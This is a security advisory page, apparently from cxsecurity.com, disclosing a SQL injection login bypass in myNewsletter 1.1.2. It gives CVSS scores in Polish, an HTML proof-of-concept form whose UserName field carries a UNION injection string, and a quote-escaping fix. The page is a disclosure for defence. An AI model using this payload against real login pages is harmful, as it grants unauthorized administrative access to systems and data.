myNewsletter 1.1.2 SQL_Injection

2006-06-07 / 2006-06-08
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

[KAPDA::#47] - myNewsletter 1.1.2 SQL_Injection SQL_Injection ------- KAPDA New advisory Vulnerable products : myNewsletter <= 1.1.2 Vendor: http://www.aspburst.com/index.asp Risk: Medium Vulnerability: SQL_Injection Date : -------------------- Found : 2006/06/05 Vendor Contacted : 2006/06/06 Release Date : 2006/06/06 Discussion : ---------------- At parameter named 'UserName' in "validatelogin.asp" or "adminlogin.asp", Attacker can enter SQL command to login to the system. Proof of Concepts: -------------------- <html><center><h1>KAPDA myNewsletter 1.1.2 Login bypass PoC</h1><br>change action in source and then submit </center><form name="adminLogin" method="post" action="http://www.site.com/newsletter/adminLogin.asp"> <input type="hidden" name="UserName" value="<!--'union select 1 from Newsletter_Admin where ''='"> <input type="hidden" name="Password" value="1"> <center><br><input type="submit" name="Submit" value="Login"></center><br><br> <!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net --> <center><a href="http://www.kapda.ir">www.kapda.ir</a></center> </form> </html> Solution: -------------------- Nothing yet by vendor . Our solution : in 'validatelogin.asp' : function validateLogin(theUserName, thePassword) sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'" change to this : function validateLogin(theUserName, thePassword) theUserName = replace(theUserName,"'","''") sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'" Original Advisory: -------------------- http://www.kapda.ir/advisory-340.html Credit : -------------------- FarhadKey of KAPDA farhadkey [at} kapda {d0t} net Kapda - Security Science Researchers Insitute of Iran http://www.KAPDA.ir


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top